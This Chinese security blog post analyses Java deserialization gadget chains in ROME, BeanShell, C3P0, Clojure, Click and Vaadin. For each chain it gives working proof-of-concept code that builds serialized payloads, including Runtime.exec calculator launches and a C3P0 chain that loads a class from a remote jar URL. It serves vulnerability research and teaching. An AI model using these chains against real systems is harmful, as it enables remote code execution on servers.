Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin

ROME
俗话说:条条大路通罗马(All Roads Lead to ROME.),ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。
ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
前置知识
ObjectBean
com.sun.syndication.feed.impl.ObjectBean
是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。
ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals
、toString
、clone
以及 hashCode
方法。
来看一下 ObjectBean 的 hashCode
方法,会调用 EqualsBean 的 beanHashCode
方法。
会调用 EqualsBean 中保存的 _obj
的 toString()
方法。

而这个 toString()
方法也就是触发利用链的地方,继 BadAttributeValueExpException 之后的另一个使用 toString()
方法触发利用的链。
ToStringBean
com.sun.syndication.feed.impl.ToStringBean
类从名字可以看出,这个类给对象提供 toString 方法,类中有两个 toString 方法,第一个是无参的方法。获取调用链中上一个类或 _obj
属性中保存对象的类名,并调用第二个 toString 方法。

这个方法会调用 BeanIntrospector.getPropertyDescriptors()
来获取 _beanClass
的全部 getter/setter 方法,然后判断参数长度为 0 的方法使用 _obj
实例进行反射调用,翻译成人话就是会调用所有 getter 方法拿到全部属性值,然后打印出来。

获取 getter/setter 方法的逻辑很清晰。

由此可见,ToStringBean 的 toString()
方法可以触发其中 _obj
实例的全部 getter 方法,可以用来触发 TemplatesImpl 的利用链。
攻击构造
通过上述两个类,我们就可以构造出反序列化利用链了,利用链比较简单,代码如下:
public class Rome {
public static String fileName = "Rome.bin";
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
ObjectBean delegate = new ObjectBean(Templates.class, tmpl);
// 使用 ObjectBean 封装这个类,使其在调用 hashCode 时会调用 ObjectBean 的 toString
// 先封装一个无害的类
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "su18"));
// 放入 Map 中
HashMap<Object, Object> map = new HashMap<>();
map.put(root, "su18");
map.put("su19", "su20");
// put 到 map 之后再反射写进去,避免触发漏洞
Field field = ObjectBean.class.getDeclaredField("_equalsBean");
field.setAccessible(true);
field.set(root, new EqualsBean(ObjectBean.class, delegate));
SerializeUtil.writeObjectToFile(map, fileName);
SerializeUtil.readFileObject(fileName);
}
}
总结
以上就是 ROME 链分析的全部内容了,最后总结一下。
- 利用说明:
- 利用 HashMap 反序列化触发 ObjectBean 的 hashCode 方法,再触发 ObjectBean 封装的 ObjectBean 的 toString 方法,会调用。
- Gadget 总结:
- kick-off gadget:
java.util.HashMap#readObject()
- sink gadget:
com.sun.syndication.feed.impl.ToStringBean#toString()
- chain gadget:
com.sun.syndication.feed.impl.ObjectBean#toString()
- kick-off gadget:
- 调用链展示:
HashMap.readObject()
ObjectBean.hashCode()
EqualsBean.beanHashCode()
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()
- 依赖版本
rome : 1.0
BeanShell
BeanShell 是一个小型的 , 免费的 , 可嵌入的Java源代码解释器 , 具有使用Java编写的对象脚本语言功能。BeanShell 能够执行标准的 Java 语句和表达式 , 也可以使用通用的脚本语言约定和语法将 Java 扩展到脚本域。
Github地址:https://github.com/beanshell/beanshell
用户文档:https://beanshell.github.io/manual/bshmanual.html
前置知识
Interpreter
bsh.Interpreter
就是将 BeanShell 脚本解释并执行的解释器。
Interpreter 的用法很简单,可以通过 set()
方法来设置变量,然后通过 eval()
方法来解释和执行脚本,解析和设置的变量都会保存在 Interpreter 实例的成员变量 globalNameSpace 中。

bsh.NameSpace
就是一个保存着方法、变量、引入包的命名空间。NameSpace 与一个 Interpreter 实例共同构成了一个 Bsh 脚本对象的上下文。
XThis
bsh.This
是 Bsh 脚本对象类型,一个 This 对象就是一个 Bsh 脚本的对象的上下文,一个 This 对象储存了 NameSpace 和 Interpreter。并提供了一些方法用于操作上下文中的内容:

其中 invokeMethod
方法提供了使用 Java 代码从 Bsh 脚本外部调用方法的功能,如下可弹计算器。

而 XThis
是 bsh.This
对象的子类,在 This 的基础上添加了通用接口代理机制的支持。也就是 InvocationHandler。
XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法,调用了 invokeImpl
方法。

invokeImpl
方法特殊处理了 equals
和 toString
方法,调用了 invokeMethod 执行对应的方法,并使用 Primitive.unwrap()
处理返回值。

也就是说,XThis 是一个 Bsh 脚本的对象的代理类,可以在外部通过这个代理类调用 Bsh 脚本的方法。
攻击构造
在简单了解了上面两个类的知识后,就可以开始尝试构造调用链了。
ysoserial 给出的调用链是使用 PriorityQueue 进行触发,然后使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法去调用,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用。
构造代码如下:
public class BeanShell {
public static String fileName = "BeanShell.bin";
public static void main(String[] args) throws Exception {
// compare 函数,需要接受两个参数,返回 Integer 类型
String func = "compare(Object whatever,Object dontCare) {java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");return new Integer(1);}";
// 将 compare 方法注册至 Interpreter 实例上下文中
Interpreter i = new Interpreter();
i.eval(func);
// 创建 XThis 对象,获取其 invocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
Field handlerField = XThis.class.getDeclaredField("invocationHandler");
handlerField.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
// 使用 XThis$Handler 为 Comparator 创建动态代理
Comparator<Object> comparator = (Comparator<Object>) Proxy.newProxyInstance(
Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// 在初始化时不带入 comparator
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
SerializeUtil.writeObjectToFile(queue, fileName);
SerializeUtil.readFileObject(fileName);
}
}
那其实有了这种思路,其实可以利用 XThis 来实现任意 kick-off 的触发,因为可以使用动态代理执行任何方法。
总结
以上就是 BeanShell 链分析的全部内容了,最后总结一下。
- 利用说明:
- 利用 PriorityQueue 反序列化触发 Comparator 的 compare 方法,使用
XThis$Handler
动态代理 Comparator,并在其 Interpreter 内构造带有恶意代码的 compare 方法触发调用。
- 利用 PriorityQueue 反序列化触发 Comparator 的 compare 方法,使用
- Gadget 总结:
- kick-off gadget:
java.util.PriorityQueue#readObject()
- sink gadget:
bsh.This#invokeMethod()
- chain gadget:
bsh.XThis$Handler#invokeImpl()
- kick-off gadget:
- 调用链展示:
PriorityQueue.readObject()
Comparator.compare()
XThis$Handler.invoke()
XThis$Handler.invokeImpl()
This.invokeMethod()
BshMethod.invoke()
- 依赖版本
bsh : 2.0b5 (已修复)
C3P0
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate、Spring等。
关于 C3P0 的使用和关键类的解释在这篇文章中写的很详细,本文就不再现学现卖了。
前置知识
PoolBackedDataSourceBase
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
本质上也是一个封装对象,其中储存了 PropertyChangeSupport 和 VetoableChangeSupport 对象,用于支持监听器的功能。
这个类在序列化和反序列化时,要保存内部的 ConnectionPoolDataSource 成员变量,如果 connectionPoolDataSource 本身是不可序列化的对象,则使用 ReferenceIndirector 对其进行引用的封装,返回一个可以被序列化的 IndirectlySerialized 实例对象。

其中会调用 ConnectionPoolDataSource 的 getReference
方法返回一个 Reference 对象,并使用 ReferenceSerialized 对象对其封装。

反序列化时,调用其 IndirectlySerialized#getObject()
方法重新生成 ConnectionPoolDataSource 对象。

ReferenceSerialized 的 getObject()
调用 InitialContext#lookup()
方法尝试使用 JNDI 来获取相应的对象,在 contextName、env 均为空的情况化,则调用 ReferenceableUtils.referenceToObject()
使用 Reference 中的信息来获取。

可以看到使用了 URLClassLoader 从 URL 中加载了类并实例化。

这样就可以通过想办法插入恶意 URL 来触发漏洞。
攻击构造
可以看到本条链的调用构造是比较简单的,我们需要构造一个不可序列化的并且实现了 Referenceable 的 ConnectionPoolDataSource 对象,其 getReference()
方法返回带有恶意类位置的 Reference 对象即可。恶意代码如下:
public class C3P0ForHttpBase {
public static String fileName = "C3P0ForHttpBase.bin";
private static final class MyPool implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public MyPool(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("su18", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
public static void main(String[] args) throws Exception {
PoolBackedDataSource p = (PoolBackedDataSource) SerializeUtil.createInstanceUnsafely(PoolBackedDataSource.class);
ConnectionPoolDataSource pool = new MyPool("org.su18.serializable.PureEvilClass", "http://localhost:9999/1.jar");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(p, pool);
SerializeUtil.writeObjectToFile(p, fileName);
SerializeUtil.readFileObject(fileName);
}
}
除了 ysoserial 提供的这条利用链之外,李三师傅还分享了两个其他的 C3P0 利用方式,分别是使用 JndiRefForwardingDataSource/WrapperConnectionPoolDataSource 的 setter 方法触发 JNDI 查询/Hex 类字节码加载的方式,在 fastjson/jackson 中可以利用。
总结
以上就是 C3P0 链分析的全部内容了,最后总结一下。
- 利用说明:
- 反序列化 PoolBackedDataSourceBase 时会处理其中的 ConnectionPoolDataSource,其中会触发 JNDI 查询或 URLClassLoader 加载指定的 jar 文件中的类,在本条利用链中是利用了后者。
- Gadget 总结:
- kick-off gadget:
com.mchange.v2.c3p0.impl.BackedDataSourceBase#readObject()
- sink gadget:
java.net.URLClassLoader#loadClass()
- chain gadget:
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject()
- kick-off gadget:
- 调用链展示:
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Class.forName0()
URLClassLoader.loadClass()
- 依赖版本
c3p0 : 0.9.5.2
Clojure
Clojure 是一种运行在 Java 平台上的 Lisp 方言,Lisp 是一种以表达性和功能强大著称的编程语言。
类比 Groovy 和 BeanShell,Clojure 又是一条在 Java 上解析和执行的新的一种编程语言的利用链。
这个漏洞的作者是 JackOfMostTrades,是 gadgetinspector 的作者,并且在其 2018 年 blackhat 上议题的 PPT 中以此链为例子进行了自动化挖掘的描述。
也就是说,这条链是非人工挖掘出来的利用链。
前置知识
clojure.java.shell.sh
clojure 提供了封装的执行命令方法,位于 clojure.java.shell
下的 sh
函数:

可以看到是调用了 Java 的 Runtime.getRuntime().exec()
来执行系统命令。使用 clojure 执行系统命令的写法为:
(use '[clojure.java.shell :only [sh]])
(sh"open" "-a" "Calculator.app")
也可以直接调用 Java 的方法,写为:
(import 'java.lang.Runtime)
(. (Runtime/getRuntime) exec"open -a Calculator.app")
clojure 的其他写法这里就不描述了。
Compiler.eval
想要在 Java 中解析和执行 Clojure 代码,肯定是要有类似 eval 的解析处理函数。那就是 clojure.core 中的 eval 方法。

实际调用 clojure.lang.Compiler#eval(java.lang.Object, boolean)
。这个函数将会解析和调用传入的对象,通常是 PersistentList 对象。
我们可以仿照程序逻辑自己写一些调用代码:

main$eval_opt
了解了 eval 的执行实现后,接下来找 sink 点。
main$eval_opt.invokeStatic
方法会调用 clojure.core$eval.invokeStatic()
方法。

后续调用 Compiler.eval()
触发解析。

那直接这样写就可以弹计算器了:
String payload = "(use '[clojure.java.shell :only [sh]])(sh\"open\" \"-a\" \"Calculator.app\")";
main$eval_opt.invokeStatic(payload);
AbstractTableModel$ff19274a
接下来关注一下反序列化漏洞的触发,AbstractTableModel$ff19274a
这个类也是一个封装引用类,这个类有一个成员变量 __clojureFnMap
,是一个 IPersistentMap 类型的对象。调用 AbstractTableModel$ff19274a
的很多方法,都是在 IPersistentMap 中寻找储存的对象,并调用其 invoke 方法进行执行的。

而 IPersistentMap 可能是 clojure 封装的 Map/Method/Field/Constructor 等对象。对于 Map 类型的对象,可以使用 PersistentArrayMap.create()
方法来封装。

那么就可以使用这个类作为 hashCode/toString 触发点的后续,调用储存对象的 invoke 方法,而 clojure 里的类又几乎都有 invoke 方法。只需要找到合适的触发链。
core$comp$fn__4727
core$comp$fn__4727
类初始化时储存了两个对象

在调用其 invoke 方法时,会 this.g
的 invoke 方法,并将结果给 this.f
的 invoke 方法。

实际上这个类是整条调用链的关键,我们只需要让 this.g
是 main$eval_opt
类,this.f
的 invoke 方法返回待解析的恶意 payload。
core$constantly$fn__4614
core$constantly$fn__4614
将构造函数的对象传入 this.x
中,在调用 doInvoke
方法时返回,而由于其 getRequiredArity()
方法也返回 0,因此调用其 invoke 方法时,也会返回 this.x
中储存的对象。

因此我们使用这个类来保存待解析的 payload 字符串,在调用这个类的 invoke 方法时即可返回 payload。
攻击构造
这里尝试了使用 HashMap 和 BadAttributeValueExpException 两种触发方式均可,最终的攻击代码为:
public class Clojure {
public static String fileName = "Clojure.bin";
public static void main(String[] args) throws Exception {
// 执行系统命令的两种写法,本质都是使用 java.lang.Runtime 类
String payload1 = "(import 'java.lang.Runtime)\n" +
"(. (Runtime/getRuntime) exec\"open -a Calculator.app\")";
String payload2 = "(use '[clojure.java.shell :only [sh]])\n" +
"(sh\"open\" \"-a\" \"Calculator.app\")";
// 初始化 AbstractTableModel$ff19274a 对象
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
HashMap<Object, Object> map = new HashMap<>();
// 使用 core$constantly$fn__4614 保存 payload 对象,调用其 invoke 方法时会返回 payload
core$constantly$fn__4614 core1 = new core$constantly$fn__4614(payload2);
// 将 core$constantly$fn__4614 和 main$eval_opt 保存在 core$comp$fn__4727 中
core$comp$fn__4727 core2 = new core$comp$fn__4727(core1, new clojure.main$eval_opt());
// 将 hashCode 与 core$comp$fn__4727 进行映射
map.put("hashCode", core2);
model.__initClojureFnMappings(PersistentArrayMap.create(map));
// 使用 HashMap hashCode 触发
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(model,"su18");
// hashMap.put("su19","su20");
// SerializeUtil.writeObjectToFile(hashMap, fileName);
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, model);
// 使用 BadAttributeValueExpException toString 触发,还是会调用 hashCode 方法
SerializeUtil.writeObjectToFile(exception, fileName);
SerializeUtil.readFileObject(fileName);
}
}
总结
以上就是 Clojure 链分析的全部内容了,通过包的类名、方法调用,可以发现这确实不是一般人类能手工挖出来的利用链。最后总结一下。
- 利用说明:
- 利用 HashMap/BadAttributeValueExpException 来触发
AbstractTableModel$ff19274a
的 hashCode/toString 方法,调用其成员变量中保存的clojure.core$comp$fn__4727
的 invoke 方法,会调用clojure.core$constantly$fn__4614
的 invoke 方法触发clojure.main$eval_opt
解析带有恶意的代码 Clojure 代码,造成漏洞。
- 利用 HashMap/BadAttributeValueExpException 来触发
- Gadget 总结:
- kick-off gadget:
java.util.HashMap#readObject()
- sink gadget:
clojure.main$eval_opt#invoke()
- chain gadget:
clojure.core$comp$fn__4727#invoke()
- kick-off gadget:
- 调用链展示:
HashMap.readObject()
AbstractTableModel$ff19274a.hashCode()
clojure.core$comp$fn__4727.invoke()
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()
clojure.core$eval.invokeStatic()
Compiler.eval()
- 依赖版本
clojure > 1.2.0
Click1
Apache Click 是一个 JEE Web 框架,据官方网站介绍,开发者一天就可以上手跑起服务。
但是用的人并不多,所以这里也主要关注利用点的相关知识。
前置知识
PropertyUtils
click 中有一个工具类 org.apache.click.util.PropertyUtils
,用来操作属性,其中有一个 getValue
方法用来获取某个对象中某个属性的值。

方法处理完 name 之后将会调用 getObjectPropertyValue
方法,传入对象实例、属性名和方法缓存三个参数。
可以看到在 getObjectPropertyValue
方法中,是获取了传入对象实例中指定属性名的 getter 方法,然后通过反射调用。

也就是说,PropertyUtils 的 getValue
方法会触发指定属性的 getter 方法,可以用来触发 TemplatesImpl 利用方式。
ColumnComparator
org.apache.click.control.Column
用来提供表格中 <td>
/<th>
的一些属性的渲染。Column 类实现了 Serializable 接口,可以被反序列化。
在 Column 中定义了一个内部类 ColumnComparator,实现了 Comparator 接口,用来比较一个 Column 中的两个 row。

比较时会调用 this.column
的 getProperty
方法。

在 row 不是 map 类型的情况下,这个方法会调用到 PropertyUtils 的 getValue
方法获取值。
攻击构造
有了上面两个类,就可以构造出从 PriorityQueue 到 TemplatesImpl 的利用链了。攻击代码如下:
public class Click {
public static String fileName = "Click.bin";
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("su18");
queue.add("su19");
// 反射将 TemplatesImpl 放在 PriorityQueue 里
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
Class<?> c = Class.forName("org.apache.click.control.Column$ColumnComparator");
Constructor<?> constructor = c.getDeclaredConstructor(Column.class);
constructor.setAccessible(true);
Column column = new Column("outputProperties");
// 为了避免反序列化比较时的空指针,为 column 设置一个 Table 属性
column.setTable(new Table());
Comparator<?> comparator = (Comparator<?>) constructor.newInstance(column);
// 反射将 BeanComparator 写入 PriorityQueue 中
Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);
SerializeUtil.writeObjectToFile(queue, fileName);
SerializeUtil.readFileObject(fileName);
}
}
总结
以上就是 Click 链分析的全部内容了,可以看到触发方式与 CB 链极其类似,都是使用 Comparator 触发属性的 getter 方法。最后总结一下。
- 利用说明:
- PriorityQueue 反序列化触发 Column$ColumnComparator 类的 compare 方法,会调用 PropertyUtils 的 getValue 方法获取属性值,使用了的是反射调用 getter 方法,触发 TemplatesImpl 利用链。
- Gadget 总结:
- kick-off gadget:
java.util.PriorityQueue#readObject()
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
- chain gadget:
org.apache.click.control.Column$ColumnComparator#compare()
- kick-off gadget:
- 调用链展示:
PriorityQueue.readObject()
Column$ColumnComparator.compare()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties()
- 依赖版本
click-nodeps : 2.3.0
Vaadin1
Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。
又是一个没有听说过的平台框架。Vaadin 的反序列化调用链同样十分简单,依旧是使用反射调用 getter 方法的类来触发 TemplatesImpl 利用链,接下来看一下具体的调用点。
前置知识
NestedMethodProperty
com.vaadin.data.util.NestedMethodProperty
类是一个封装访问属性方法的类。构造方法接收两个参数,一个是对象实例,一个是属性值。初始化时将调用 initialize 方法获取实例类中的相关信息存放在成员变量中。

等到调用 NestedMethodProperty 的 getValue
方法时,就会反射调用封装对象指定属性的 getter 方法。

因此这个类又是可以触发 TemplatesImpl 的利用方式。
PropertysetItem
触发类是 com.vaadin.data.util.PropertysetItem
,这个类用来存储 Property 属性值,为其映射一个 id 对象。
数据存放在成员变量 map 中,想要获取相应属性时,则调用 getItemProperty
方法在 map 中获取。

映射的 id 对象则储存在成员变量 list 中。

PropertysetItem 的 toString 方法,获取全部 id 对象并遍历,使用 getItemProperty 方法获取映射的 Property 属性对象,并调用其 getValue 方法。

因此可以使用 PropertysetItem 的 toString 方法触发 NestedMethodProperty 的 getValue 方法。完成漏洞链的构造。
攻击构造
代码:
public class Vaadin {
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(tmpl, "outputProperties");
pItem.addItemProperty("outputProperties", nmprop);
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, pItem);
SerializeUtil.writeObjectToFile(exception);
SerializeUtil.readFileObject();
}
}
总结
以上就是 Vaadin 链分析的全部内容了,最后总结一下。
- 利用说明:
- 反序列化 BadAttributeValueExpException 触发 PropertysetItem 的 toString 方法 调用到 NestedMethodProperty 的 getValue 方法。
- Gadget 总结:
- kick-off gadget:
javax.management.BadAttributeValueExpException#readObject()
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
- chain gadget:
com.vaadin.data.util.NestedMethodProperty#getValue()
- kick-off gadget:
- 调用链展示:
BadAttributeValueExpException.readObject()
PropertysetItem.toString()
PropertysetItem.getPropertyId()
NestedMethodProperty.getValue()
TemplatesImpl.getObjectPropertyValue()
- 依赖版本
vaadin-server : 7.7.14
vaadin-shared : 7.7.14